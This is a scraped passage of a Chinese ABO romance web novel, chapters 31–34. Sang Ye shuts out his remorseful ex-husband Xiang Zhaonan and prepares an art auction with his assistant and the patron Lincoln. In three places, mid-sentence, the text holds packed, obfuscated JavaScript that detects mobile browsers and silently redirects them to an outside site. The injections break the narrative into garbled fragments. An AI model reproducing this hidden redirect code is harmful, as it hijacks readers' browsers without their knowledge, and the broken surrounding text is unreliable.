然而他手紧紧握住门把手,往常呈现淡粉色的指节此时却因用力而泛白,说完之后,他狠下心来要把门关上。 没有成功。 他用力不小,金属门直接砸在了相召南的突然伸出来抵挡的手臂上,发出砰的一声。 桑也下颌用力,死死咬住牙,冷眼看着相召南吃痛却不肯收回手。 “你知道那张照片了,对吗?”相召南不仅没有抽回手臂,也没有斥责罪魁祸首冷眼旁观,反而提起了一张桑也未曾见过的照片。 桑也沉默了两秒,问:“你从哪里得到的。” “你比赛的时候,我刚好在隔壁。” 不知为何,桑也觉得相召南这句话说得有些费劲,似乎在隐瞒什么信息,但对上那双深黑色却蕴藏了浅淡期待的双眸,桑也一瞬间明白了。 那熟悉的眸光,常年出现在他的脸上。桑也再熟悉不过。 比赛。 应该是赛车。 他拍这样一张照片,还留着,藏着,代表什么呢? 桑也第一次不想读懂相召南,但他对这样的举动、流程太熟悉了,熟悉到他甚至没有深思就跃现在了他的脑海,强迫他读懂。 珍藏的照片,他也有一张。 为了那张照片,他放下了尊严,放下了身份,奴颜婢膝,失去自我。 而相召南,藏着那样一张照片,却倨傲无礼,有恃无恐。 现在还把它当作挽留的筹码。 可惜晚了。 以前的桑也若是发现了这一秘密,必定会欣喜若狂,范进中举高兴冲昏了头直接晕了过去,他也会毫不逊色。 但现在,桑也已经不是相召南稍微流露出一点爱意就能哄骗得晕头转向的Omega了。 理智占据情感高地,朝他打响信号。 “所以呢?” 平静,冷卓,漠不关心。 将相召南从未显露于人的隐秘爱意践踏得无所适从。 他慌乱地握拳,却不是想要挥向某处,而是绷起肌肉来压抑浑身的颤栗。 从接手相氏开始一路顺风从未吃瘪的相召南在桑也面前第一次流露出窘态。 比起先前长篇大论的泣诉,这一句,短短三个字,如同薄且锋利的剑刃划过他心房的墙壁,更让他防线崩塌,溃不成军。 他从未想过,赤裸裸地表露爱意,得到的却是一句轻飘飘的“所以呢。” 桑也说的没错,他对桑也的冷漠,来自对林晓燕强迫他做事的迁怒,但更多的其实是源于桑也低声下气、沉溺于情欲,这完全打破了他对那个在赛场上驰骋的少年的幻想! 那个招摇的,张扬的,意气风发的,神采飞扬的少年,怎么会匍匐于他的脚下说出“帮帮他”这样卑微的话语? 他执着地认为现在的桑也抹杀掉了他心中的桑也。 他嫌弃、憎恶甚至憎恨桑也对他的讨好和低声下气,因为那打破了他对一个月光般人物的美好幻想。即使那个人就是桑也。也正是因为那个人就是现在的桑也。 所以尽管他有意,却刻意做出一些伤人的举措,盲目地为“心中所爱”报复取代他的人。 他把那张照片藏在书房,把满腔爱意藏在心里,认为自己站在这段关系的制高点,认为他的爱是制胜武器,是真理。 他小心翼翼地试探,以为能够用它挽回桑也。 可他失败了。 当一个人决定要离开,潜藏的爱不会帮它的主人挽回任何东西,只会化作最锐利的刀剑刺向被爱者。 就像迟来的正义不能雪中送炭,只会火上浇油,迟来的爱意也一样。 它告诉要离开的人,你被愚弄了。 多么可笑! 桑也再也忍不住,趁着相召南失神之际,猛地推了他一掌,把人直接推到对面的墙壁上撞得浑身一颤,随后紧紧关上了大门。 他迅速跑回卧室,钻进被子,蒙着头,强迫自己不去听绵绵不绝的敲门声。 为什么要让他知道这些。 为什么要来找他。 为什么他这样不幸。 桑也从不怨天尤人,可现在,他忍不住去想,他到底做错了什么上天要如此对他? “汪汪——” 床底下传来一阵窸窸窣窣的声音,是一只咖黄色的小狗挥舞着小小的肉爪子一个劲挠床单,似乎很想上床。 桑也从被子里露出一双眼睛,看见是它,伸手把小狗捞进了怀里。 小狗是当时出国前在春城偶遇的那只,因为看着身体干净、肚子圆鼓鼓的,他和张姨都以为 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桑家在圣劳伦斯这座城市没有房产,原本大哥提前给他租的那套房子好得多,地段好,隔音也好,但租金太高,桑也住了一段时间就联系人退了。巧的是房东不喜欢宠物,又因为没有提前告知不能养宠而困扰,听他说要退租,违约金都没要就把他送走了。 就这样蒙着蒙着,桑也迷迷糊糊睡着了,醒来的时候又是一阵敲门声。 他以为自己只是浅寐了片刻,打开手机一看居然睡了四个小时,怀里的老大也不知道溜到哪去了。 相召南不是很忙吗。 现在又不忙了? 桑也到客厅倒了杯水,润了润唇,端着水杯走到门口,“别敲了,赶紧走吧。我不会给你开门的。” “啊?桑总,我吗?发生了什么?”门外却意外地传来了助理的声音。 桑也这时也反应过来了。 相召南那么忙,一分一秒都是千万的入账,怎么可能在他这里耗四个小时,简直异想天开。一贯的作风在过去的四年没有受到丝毫影响,哪里会因为一场悄无声息的离去而一改旧习。 他打开了门,果然看见助理一脸茫然站在门口。 “不是说你。进来吧。” 助理思考了一下,指着旁边说:“是说他吗?” 桑也微微皱了皱眉,顺着助理手指的方向看过去,在一片昏暗之中,看见一个高大的人影,整个人隐没在暗色中,唯独一双眉目炯然。 助理虽然是C国面孔,但却是土生土长的M国人,不认识相召南实属正常,桑也只让他赶紧进来,随后立刻关上了门。 从迅速变得狭窄的门缝中,他看见相召南朝他走来,伸出手,却又遏制住了强行撑住房门的冲动,只傻愣愣地站在那里。 桑也心里颤了一下,但手上毫不留情,没有丝毫迟钝地关上了门。 他把水杯放在桌上,迟迟没有说话。 助理问:“桑总,难道外面那位就是您……他是不是余情未了死缠烂打无休无止没完没了——要不要我叫物业把他赶出去?” 桑也没有正面回答,他指了指门口放着的箱子,“这是我那些用得上的油画,你待会带去成安,交给主管。”又走进书房,把信纸折好放进信封,“这是发往C国的信,还是原本的地址,你走的时候捎上。” 助理跟在他后面提溜转,摸不清为什么桑总无视了他的问题。 但很快,他就听见桑也说:“算了,还是先把他赶走吧。” 32. 第 32 章 助理呆了一下,反应过来立马拿手机给物业打电话。 “物业吗?对,有点事。是这样的我们这边门口有个……呃,追求者?反正就是有个人在门口堵着,麻烦你们把人‘请’出去。把他拉黑,下次再见到记得拦着别让他进。” 桑也租房这个小区管理不大严格,要进来只用报住户姓名和联系方式,甚至都不需要打电话核对就放人进来。 助理也是这样进来的。 联系完之后助理才拿出报表,跟桑也商量正事。 因为舆论走势不错,成安那边有想法把他的画作加入到这一次的拍卖当中,找个托,卖个高价,打出名气。 桑也礼貌问他:“成安有钱找托?” 拍卖卖得低了,不说打出名气,只会拉低格调,但要卖得高,就得实打实出钱,虽然这钱最后还是到他们自己手里,但要合法合规地做完这事,就得先拿出钱来滚一圈。 助理假笑了一下,“哈哈。” “确实是这样。我们联系娱乐公司投的流也结束了,是不是也没钱续上了?” 桑也点头。 “要不,我们找林肯先生帮帮忙?M国最大的短视频软件不是他名下的吗,应该……”助理灵机一动,提议道。 桑也:“你真以为没有林肯先生帮忙我们找的那几家公司效果会那么好?” 长得好看的人多了去了,单凭脸就短时间内稳定输出三个百万加点赞的视频的可能性几乎为零,要说林肯没有暗中助力,桑也是不信的。 助理这才恍然大悟。 “那我们还能做点什么?” 助理这话问得桑也也沉默了。他开始回溯记忆,想试试搜刮过往的听闻看看有没有类似情况——没钱的情况,找找灵感。 但桑也身边的人,哪个没钱?唯一的案例恐怕只有当年凌星叛逆非要搞乐队结果被家里停了生活费,苦兮兮地跑去酒吧驻唱,没想到钓到个冤大头豪掷千金,凌星拿了钱就忘本,转头进了娱乐圈。 虽然听起来很荒谬,但桑也又觉得并无可能。 他慢慢地开口,连自己也不确定,“就按成安那边的想法,拿一幅我的画去拍卖——但不要提前透露名字,就说是匿名画者。” 林肯先生帮了他这么多,提醒他要把资本投到成安和他自己身上,又暗里帮他扩大宣传效果,如果他放出拍卖消息,想必林肯先生也会明白他的意图。 他何不赌一把林肯会送佛送到西? 助理点着头思考,之后彻悟:“卖出价了就报你的名字。没卖出价就装不知道。这听起来不错,可进可退,能攻能受。” “那我们现在选选画?”助理指着装画的箱子。 桑也点头后,助理把箱子放倒打开,把画作一一取出。 桑也看着取出来的画都装裱完整,微微蹙眉。 他所有画作,没有拿出去展示的,都是“光杆司令”,只有画,别的一无所有。 是谁做的,不用思考就能想到。 为什么在他决意离开后还要强行在他身边留下自己的痕迹? 以前的桑也求之不得,连身上的伤痕都当作勋章,现在的桑也避之不及,无论他是有意无意。 他跟助理说:“选好之后把这些框架都砸了,重新做。” 助理没问为什么,只问:“报销吗?” 桑也:“……算了。”窘迫的境况让他连宣泄怒意都不能尽兴。 助理倒没有多问,想必也清楚他上司现在兜里一文钱也摸不出的困境,默默做事。 “这副日出和这副花园在流媒体上反响最好,甚至有视频用这两幅图当背景分享自己的恋爱经历,因为太纯爱和文字里流露出的幸福感一度冲上了热搜。” 这两幅画,包括剩下没被点到的几副,都是桑也刚结婚时闷在家里画的,那时候的他还在幻想,他治病的良药和他心心念念的暗恋对象居然是一个人,世界上怎么会有如此巧合的事情。 他一度觉得,他是上帝的宠儿。那时候的他,也幸福。 助理不知道想到了什么,感慨一句:“爱情是个好东西啊。爱情养人。”言语之间流露出向往之情。 桑也状似认可地点头,“爱情是个好东西。爱情养商人。” 别的不说,无论那个视频里的爱情是真是假,是不是真的美好,桑也作为画者,作为商人,是绝对的受益者。 当一件商品卖不动,就和爱情挂钩,销量蹭蹭涨;要是不起效果,再联动一下友情,总有人买单。 至于故事,想要多少,文案组就能编多少。 助理噎了一下,本来想说桑总你也太扫兴了,开口前又想到面前人的经历,按住冲动,转而问道:“桑总拿定主意了吗?选好之后我就送到公司去。公司那边至今还只有几张画的扫描件。” “日出”灿烂绚丽,朦胧之中恍若梦境,“花园”如同视角诡谲,由四周向中间收拢的密林夹着似乎偷窥而见的粉蓝花园。 桑也无法抉择。 “我不知道以你们M国人喜好来看哪一幅更有拍卖价值——去公司吧,和其他人商量看看。” 助理利索地收起画和箱子,帮他拎到楼下,等桑也坐上副驾驶后启动车辆。 拍卖行只有运输贵重物品的安保车辆,不适于平时使用,但桑也现在手头没有闲钱去买车,或者说没有足够的钱去买一辆能撑面子的豪车。 好在他母亲一手创建的美妆品牌倒是有给高管用的商用车,他接手之后调了一辆过来。 物业效率挺高,门口和楼底下都没有相召南的影子。 桑也正想着,车辆行驶到小区门口,正要缓慢进入大道,一个人窜出来挡在车前。 相召南站在车前,他个子高,虽然略显疲惫,但身形优越,体态良好,即使困怠也昂首挺胸,气势不输庞大的SUV。 他的唇瓣翕动,似乎念着什么,见车上人没有反应,又转到侧面,拍打车窗。 桑也第一次见到这样的相召南。 不像高高在上的相氏总裁,反而像饥荒年走投无路的孤苦者,在看见衣冠楚楚的来者时迫不及待冲上去寻求庇佑,渴望一场春霖。 他以前跪在地上祈求时,相召南心里也是这般感受吗? 是他主动放低姿态,才让相召南愈发看低他。 “开车。”桑也没有和相召南说话的心情,闭了闭眼,靠在椅背上,对助理说。 助理重新启动车辆,然而发动机刚一响起来,相召南就转到车辆正面堵住,不让他们走。 助理面露难色。 半天没动,桑也才睁开眼,隔着清透的玻璃看见相召南嘴唇不断开合在说着什么,不知道是不是因为话说太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406611|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——和以前的相召南相比——嘴唇都干裂了,手掌撑在车辆前盖,一副视死如归的模样。 桑也心平气和地坐在车内,无动于衷。 他对相召南太了解了,以至于他听不见声音的情况下只从相召南的口型都能辨别出他在说什么。 “桑也,你下来我们谈谈,物业把我赶出去了,我只能在这里等你。在楼道的时候我想了很多,以前我确实做了些错事,我道歉,但你不能就这样给我判死刑……” 桑也垂下眸,心想就是我叫物业把你赶出去的。 他们堵在路口的时间太久了,后来的车辆开始鸣笛催促,路过的人也停下投以异样的眼光。 桑也吐出一口浊气,打开自己身侧的车窗。 相召南立马转过来:“桑也,我们聊聊——” “撞过去。” 桑也没有理会相召南,直接对助理发出指示,语气平淡,目不斜视,连一丝余光都没有分给相召南,仿佛在车边的人与他毫无关系。 相召南的声音戛然而止。 助理趁机开车,从浑身僵滞的相召南身边开了出去,给后面的车让出来一条道路。 车辆开出去几十米,他才听见车后传来相召南的追喊声。 桑也无动于衷地摇上了车窗。 …… 相召南一向不喝酒。 一是因为他觉得酒精伤脑,会摧残他的意志,作为一个习惯将时间、金钱都把控得分毫不差的人,他绝不容忍有东西影响他的效率,二则是因为他有轻微的酒精过敏症状。 现在,他的脚边却明晃晃摆着几个空酒瓶子,歪歪倒倒。 他在M国守了三天,没有得到和桑也讲话的机会,只等到了国内连环电话,他被迫返回国内。 然而刚坐上飞机,他就开始后悔。 为什么他必须以事业为重,为什么他必须把自己的时间百分百投入到工作,什么时候开始他失去了自我和做自己的权利。 在和桑也结婚之前,他忙碌过一段时间,是为了在相氏站稳脚跟。 而和桑也结婚之后—— 从前浑浑噩噩的抉择仿佛披上了一层乌纱,在此时才显露出真面目。 是为了躲避桑也。 有时候他根本不忙,就算他真的忙,以他的身份地位,想要推脱掉什么,也是轻而易举的事。 但他没有。 他一如既往地回复桑也的消息,“在忙”。 就是为了不去面对那个跌入池塘的月亮。 相召南猛地灌了一口酒,在便利店随意购买的劣质酒精充斥在他的口腔、喉管,如同密密麻麻的针刺插入他的每一根神经。 随着酒精冲上大脑,他的意识逐渐消沉,视野模糊,朦胧之间,他似乎看见了一幅又一幅油画,画上不是他,却又全是他,凝聚着远走人的心血。 成为他的馈赠。 那一幅幅画刺痛了他的眼,叫嚣着你发现得太迟了,晚了! 相召南心脏骤痛,握住酒瓶的手颤抖不已,长满红疹,他抬手想要灌酒,却使不出丝毫力气,连只剩毫末的酒瓶都握不住,最后随着他人一齐砸落在地上,碎掉的玻璃插入他的手臂。 鲜血和酒液混杂在一起,腥臭难闻。 闭上眼,炽亮的路灯摇摇晃晃,相召南似乎看见了他坠落的灯塔。 33. 第 33 章 相召南是被床边滴水声音吵醒的,醒来发现是医院的吊水在滴答滴答往下流。 吊水走得很慢,半天不见水位下降,他眉目中带着几分积郁,把滴水速度调快。 陈助不知道在看什么,盯着手机,目不转睛。相召南躺了不知道多久,喉咙有些干,他想叫人给他倒杯水,刚一伸手,陈助发现他醒来,忙不迭递了个手机给他。 “相总您的手机,林女士打了好几个电话。” 骂得他跟鹌鹑似的。 “您看看给她回个电话?” 相召南当然知道林晓燕不会无缘无故给他打电话,只是不知道林晓燕心里到底打着什么主意,“她打电话来干什么。” 陈助礼貌地笑了下,“不是很清楚,林女士没和我细说。” 相召南头还时不时阵痛,实在不乐意听见林晓燕的声音,但他想到之前给桑也打的十几个未接电话,实打实体悟到了被拒接的感受,被骂了一通之后,生出点改变的想法。 便主动给林晓燕拨了过去。 电话刚一打过去就被人接听了,似乎是守着手机等他打去。 “相召南你活腻了不是?三十岁的人了还当自己是小年轻吗,学人家路边买醉,醉得跟烂泥一样,知不知道要是被人拍了照片送到你爹那你去,你连在相氏打工的资格都没有了!本来这两年你往家里拿钱就越来越少,我看你要是被相民那个老不死的踢出局你该怎——” 林晓燕上来就是一通骂,相召南忍着怒气听她骂了几句,最后忍无可忍,一句话没说,直接挂断。 他把手机丢到床上,“给我倒杯水。” 陈助又在看他的手机。相召南说完话之后等了十来秒,陈助才反应过来,把手机揣兜里。 “相总,您说什么来着?”陈助默了默鼻子,心虚问。 “谈恋爱了?”相召南拧眉,以前陈助从来不会这样失职,如果是谈恋爱,相召南倒可以原谅他这一次。 却见陈助支支吾吾地说不出话,相召南直觉不对劲。 “在看什么?” 陈助也不知怎么想的,迫于威严也好,想气一下自己这个黑脸老板也好,竟直接把自己手机递到相召南面前,“相总您看,桑先生发的日常,看来他在离开您之后过得还……”话说到这里,陈助戛然而止,好似才意识到自己说错话了。 手机屏幕上是桑也发的三张照片,两张是一种表演的记录,相召南隐约记得叫水上火壶,另一张则是桑也和一个老Alpha的合影,这个人相召南认识,也见过,林肯。 合影中,天色浓黑,桑也和林肯站在水上火壶前面,通红灿烂的火花投射出橙红色的光辉洒在桑也头发上,给桑也白皙的面庞蒙上一层暖洋洋的环境色,让他的笑容显得更温暖。 相召南没由来的感到一股浓重的危机感。 他无端害怕桑也在外面见识了太多迷离梦幻的事物,对贫瘠寡淡的他更感到无趣,进而加深了离他而去的决心。 “你……怎么会有他的好友?”相召南握着手机的手因为扎进了玻璃碎片,包了纱布,此刻有些颤,声音也很勉强。 “之前桑先生时常来送餐,他可能是联系不上您,就加了我的好友,便于询问您在不在公司。” 相召南垂眸,深黑的双目黯淡,他把手机递还给陈助。 如果桑也没有离开,按照他的习惯,知道桑也“勾搭”上了他的助理之后必然又要冷嘲热讽挖苦一番,但现在桑也走了,他却意外地能冷静下来思考,为什么他总会做出一些失态的行为。 他似乎总在对自己不自觉在乎桑也的事情遮遮掩掩,不论是看见他和其他Alpha有接触时的怒意,或是自己总被一丝一缕柑橘味信息素轻易勾得勃/起的恼怒。 把责任推卸到桑也身上,责他不忠,怪他淫/荡,这样就能抹去自己对背叛心中灯塔的愧疚。 只有这样他才能心中无愧地看着照片,心想是桑也引诱的他。 然而他故意给桑也设了道障碍,才让他和其他Alpha接触,又总是迟于给予信息素的安抚,压抑自己的欲望,才一步步走到今天。 相召南也有桑也的好友。 他拿回自己的手机,找到桑也的聊天界面,上面的内容还停留在桑也发来的为雕刻无事牌而受伤的照片,和他冷冰冰的回复。 【一个无事牌能要几个钱,做这个干什么?还是说你们桑家已经破产连买个无事牌的钱都拿不出来了?】 不,他不是那个意思…… 他只是,不想表现得在意,不想背叛他…… 相召南大掌握拳,太过用力而绷裂了右臂的伤口,鲜血溢出来迅速染红了纱布。 他没管手臂的伤,仿佛不知痛一样,只是麻木地发送信息。 【那个火壶表演】 你喜欢看的话我可以让人给你表演一百场。 然而他的信息刚发出去,就收到一个血淋淋的感叹号。 他被拉黑了。 呼吸变得急促。 滴水太快,饶是相召南这样身体素质强悍的Alpha也经受不住,手背迅速肿了起来,传出涨涨的肿痛。 相召南直接拔掉吊针,动作太过粗鲁,以至于牵扯出一道细小伤口。 “给我定机票,我要去找他。” 他习惯性伸出常用的右手去揭VIP病房专用的被子。 毕竟是花了钱的,那被子虽然看着和普通病号被一样是白色,但光是摸着就比普通的好上百十倍。 然而相召南没心情去享受,反而觉得躁怒,因为他手臂骤然失力,被子又太丝滑,那被子竟然直接从他手中滑了出去! 像是在嘲笑他。 陈助也立马接话:“相总,您今天下午有一个会议,老相总要来视察,明天有一场购物节工作汇报,晚上还要回相宅聚餐……可能走不开。” 相召南沉默无言。 …… 水上火壶的表演在当地引起了不小轰动,一连表演三天,桑也去看的是第二天的表演。 那天他刚从拍卖行的大门出来,就收到林肯的讯息,说中心广场有表演,听说是C国的传统技艺,问他能不能赏脸一起去看看。 桑也刚好也算计着要林肯掏钱给他当托,当即就答应了。 夜幕降临的那一刻,艺人踩着水上飞行器,拎着两侧的火壶一跃而上,随着艺人逐渐升空,火壶一抖,里面的木炭迅速爆发出火树银花般的焰火,照亮了夜空。 然而不仅如此,当火壶烧得炽热之际,艺人在水面高空旋转起来,两侧的火花随之而转,在夜空中流动,仿佛一只涅槃的凤凰。 那一刻,桑也的心也随之燃烧起来。 四年来乏善可陈的生活在这一秒钟变得生动炫丽,重新勃发出生机。 他会心笑了。 刚好有个摄影师在录像,似乎对他的笑容入了迷,主动上来询问能不能帮他拍张照。 桑也心情好,自然答应了,拍好之后摄影师还把照片隔空投递给了他。 本来以为到此为止,谁料那摄影师问了一句:“你们是父子吗?” 桑也笑了下,正要否认,就听林肯说:“看来我们长得就很有父子相啊。” 这话纯属胡扯。 一个C国人,一个M国人,就算林肯有些C国血统,二人在长相上也差异甚广。 摄影师分明是看二人的年龄差距在试探是不是糖爹。 那摄影师听这话也不知道到底言下何意,一时没有说话,还是林肯接了下去:“想要他联系方式?那你还不主动点,刚受了情伤。” 后半句话似乎是凑到摄影师耳边小声说,但实际的声量二人都能听见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406612|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摄影师闻言立马看向桑也。 桑也对这个摄影师并不感兴趣,但看在摄影师神助攻的份上,他也不吝啬一个联系方式。 等摄影师心满意足地走后,桑也趁热打铁,提了嘴成安拍卖行的主意。 他知道林肯愿意帮他助他,一方面有利可图,另一方面无非是因为那天他在苏洛斯山赛车让他想起了自己意外去世的孩子。 林肯果不其然二话不说就点头应了,还叫他第三天到市中心的教堂外面等他,给他介绍个真正的老师。 周日。 这日是周末,不少人做礼拜。 桑也上身着素白暗纹衬衫,下身则是一条简单的黑裤,蓬松的黑色短发微微蜷曲,往人群中一站,形体、气态抑或是长相都格外突出。 因为剜去了腺体,又缺乏营养供给,吸收能力不好,整个人都显露出病弱感,白得几乎透明能看见细小血管的面庞更是让人一见难忘。 仿佛比起教堂外的雕塑,他更像长诗里的神明。 林肯和一个陌生人从教堂走出来。 走近了,桑也才看清那张脸,竟然是史密斯? 之前那个联系他想要收他为徒弟的现实主义大画家。 难道林肯说的“老师”是他? 怀着一肚子疑惑,桑也安静等二人走过来,才开口问候:“上午好,林肯老师,还有这位……史密斯先生?” 史密斯见到他也吃了一惊,“是你?” 林肯:“你们认识?” 桑也摇了摇头,“史密斯先生负有盛名,我们学画的,没有人不认识吧?” 倒是史密斯说的话让桑也有些意想不到:“桑也,我没有记错吧?之前有个朋友让我卖个人情,我可是特意发了信函到你的学校,没想到被拒绝了,唉!” 桑也这下尬住了。 “那时候没打算出国。后来家里出了些情况。” 史密斯表示理解。 “我很欣赏你的画。而且,你最近在M国非常出名。” 他出名全靠营销,和史密斯这种真材实料的画家还是有差距,但史密斯说得真诚,估计是不懂这里面的弯弯绕绕,倒让桑也有些脸红了。 之后三人在教堂外的河岸边一边喂鸽子,一边闲聊。 这可谓是从琴棋书画聊到诗词歌赋,从印象主义到超现实主义,无所不谈。 聊了有一个半钟头,林肯才进入正题,表露了想要史密斯先生收桑也为徒弟的意图。 史密斯称:“在上次朋友请求我时我就看了你的作品集,的确非常有风格,我很欣赏。我年纪也大了,没两年就要从大学里卸任,你要是愿意,我也收个关门弟子,如何?” 林肯和史密斯的目光都落在桑也身上。 而被两双眼睛紧紧盯着的桑也却没有如他们料想的那样满口答应,然而嗫嚅了两下唇,眉宇之间凝结着淡淡的愁闷。 “史密斯先生,您那位朋友是姓钱吗?” 他突兀问道。 这绝非他胡思乱想。 他还记得当时相召南到桑家别墅找他,说要他和钱余父子吃饭,后来又说错过了什么机会,加上相召南自己说的他对艺术不感兴趣——前提是他说的是真话——那他和国外的画家相熟的概率微乎其微,如此推论下来,只有钱余他父亲一个猜疑对象了。 给当时在C国的他介绍一个举世闻名、定居M国的画家当老师,就可以名正言顺地把他驱逐出C国一长段时间,还能堵住他散播“有害信息”的嘴,真是打得一手好算盘。 桑也此话一出,林肯立马皱了眉,想起调查到的内容,迅速反应了过来,史密斯则先是讶异了一下,后来回想起当时朋友所说的隐情,也模糊能想明白桑也此话何意。 沉默了大概半分钟。 林肯出来打圆场:“孩子气,你看。” 34. 第 34 章 史密斯似乎真的对他很是欣赏,在桑也流露出一丝介意之后主动表示:“我理解你的心情,如果你没办法立刻给我答复,可以回去再好好考虑考虑。” “好好考虑,不要让我失望。” 之后他因为学校有课,先离开了。 林肯问桑也怎么想的。 桑也说:“有点恶心。” 林肯:“史密斯和你说的那位不是深交,估计也是花了不小代价才找到史密斯。你大可不必介怀。” “但如果我真的拜史密斯为师,每次见到他都仿佛提醒我曾经有这样一件糟心的事情,这让我心情很不美妙。” 林肯总归是年纪大阅历多,闻言给了他一个不同角度的看法,来开导他。 “如果你对此心有芥蒂,只能说明你还没有放下相召南。” 桑也愕然。 “等你有了富可敌国的财力,和至高无上的权利,所有人见到你都要点头哈腰,卑躬屈膝,你就会明白一段失败的感情不过是生活的调味剂,为了一个决意要忘记的人放弃不可多得的机会,是蠢人之举。” “而现在,成为史密斯先生的学生就是你向上攀登的机会。虽然这不能让你一蹴而就成为一手遮天、叱咤风云的人物,但能让你这条路走得更顺一些。” 林肯说得显然不是什么玩笑话,桑也脸上神色也凝重起来。 诚然,逃避绝非解决问题的好方法,要打破这层隔阂就要直面它,但是他和史密斯的风格大不相同,一个迷离掺杂着奇幻,一个专研现实,就算他潜心向史密斯学习,也受不了多大益处。 他向林肯说了自己的疑虑。 然而林肯却爽朗地笑了两声,“果然还是个孩子。” “让你拜史密斯为师,重点是师吗?重点是史密斯。” “你现在在网上已经有了不小名气,要是再加上史密斯关门学生的噱头,你的受众,认可度都会得到进一步提升。这是一般画者兢兢业业画几十年画都得不到的。” “噱头。”桑也念了念这两个字。 他笑了下,“我是等待贩售的商品吗?” “不,你是艺术品。” “至于噱头,只是抬价的手段。既然你已经如我所说把名气打出去,总不能只赚这一笔吧?长远的布局,才是一个精明商人看重的核心。” 天然钻石和人造钻石别无二致,甚至人造钻石纯度更高,但天然钻石占着一个“天然”的噱头,打着爱情的名号,就足以卖出天价;一些原料劣质、克重稀少、成效微乎其微的商品只要和国货挂钩,总有一批自诩爱国有情怀的人买单。 它们售卖的都不是商品本身,而是附加在商品上的噱头。 “不要和钱过不去,桑也。” 桑也沉默了片刻。 河岸边徐徐的河风吹拂过他的面庞,凉风吹得他鼻尖和耳垂都微微泛红,发丝凌乱地飘着,有几缕遮挡住他的视线。他抬手撇开眼前的头发,说了句该剪头发了。 “留着吧,艺术家都这样。” 半分钟后,桑也给出了他的答案。 “好。” 拍卖会在三周后举行。 在拍卖会之前,有两周的预展,成安的场馆里迎来了这几年来最高的人流量。 因为放出消息有那件珍藏的画作,不少手里有东西的人都主动来联系成安,想要一起拍卖。 一件够格的拍卖品吸引来的买者不会吝啬于拍下其他看上眼的东西,所以成安刚发布公告,找上门来的人就络绎不绝。 最后经过挑选,额外添了二十件艺术拍卖品,加上两幅油画,一共二十二件。 展览的过程中桑也时常来场馆查看情况,偶尔和路人交流一二,询问他们的看法。 只是每每出门总感觉有人在盯着他。 考虑到M国安全情况一向糟糕,他这段时间又出了风头,之前还得罪了柴柯斯,桑也实在想请个保镖。 但苦于没钱。 没钱。 好冰冷的字眼。 之前应有尽有,没什么特殊感受,现在钱财对他也成了稀缺品,他切切实实地体会到林肯所说财富与权利的魅力。 不要和钱过不去,确实是至理名言。 拍卖的当晚,场馆亮如白昼,所有展品都收进了后台,重头戏的油画更是用保险柜收纳着。 虽然桑也一手操办了选品和宣传,但具体的拍卖还得专业人士来,他只台下观望。 晚上九点,陆陆续续有人拿着邀请函进来。 拍卖场地的设计并非死板的舞台和坐席,而是圆形的镂空设计,一楼准备了餐点,播放柔和的舞曲,供拍卖开始前众人社交,二楼则准备了十数个包厢,不仅隔音,还提供最佳视角。 只不过一般这些包厢里都不是什么顶端人士,而是他们的代拍。 就像高考只筛除学渣而不筛除人渣一样,拍卖会入场只验资,而不验人品,这也就意味着有些嘴臭的人到来也并不意外。 柴柯斯,和之前在酒会上就对桑也冷嘲热讽的那小子,就站在桑也身后。 “还真让他办起来了,没想到啊。” “有林肯叔叔提点,烂泥也该扶上墙了。一个花瓶而已。” “我爸还不打算让我接手公司呢,搞不懂,不管怎么着我肯定比他做得好吧,他都能接手自家的产业,凭什么我不能。” “嘁,别说这话。他没爹又没妈,哥哥还进监狱了,除了让他这个花瓶打理公司,还能怎么办。你多玩几年不好吗?” “也是,我爸还能再干十几二十年呢。” 桑也突然站起身来。 身后二人被吓得倒退两步,骂了句脏话。 “你做什么?” 柴柯斯脸上溢出心虚之色。 他敢在桑也身边议论他不过是仗着自己的身份地位,认为桑也必然不敢和他正面起冲突。 但桑也突然站起来,脸上还一副严肃的神色,让他心中犯怵。要真在这么多熟人面前暴露了自己的本色,丢脸的还是他。 “上厕所,不可以吗?”桑也浅浅挑了下眉,他不是极具压迫力的长相,挑眉的动作也没有流氓气,因为动作浅淡,反而更显得他气定神闲。 柴柯斯在心里又默默骂了句脏话。 “当然可以。” 桑也绝对是故意的! 他咬牙切齿地放走桑也。 不仅如此,身边的好友肯尼还用胳膊肘撞了撞他,小声说:“他今天穿的和上次不一样了,还挺好看。” “艹你的,他穿什么跟你有什么关系?一个连Beta都不如的残疾Omega你也看得上?” 桑也从洗手间出来,又去后台清点了下物品,确认无误,之后没一会就开始竞拍流程了。 他在一楼寻找了下柴柯斯的踪影,整个会场只有柴柯斯让他放心不下,这人在他这里吃了亏,要是在他的拍卖会上捣乱…… 他没见到柴柯斯的踪影。 桑也心里一紧,又掀开帘幕进入后台,反复询问所有拍卖品都没有问题。 得到肯定答复之后才出来。 这时第一件拍卖品已经竞价到了它的极限,拍卖师正在倒数。 敲槌定音之际,桑也终于找到了柴柯斯的人影。他隔得远,听不见柴柯斯嘴里骂骂咧咧在说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 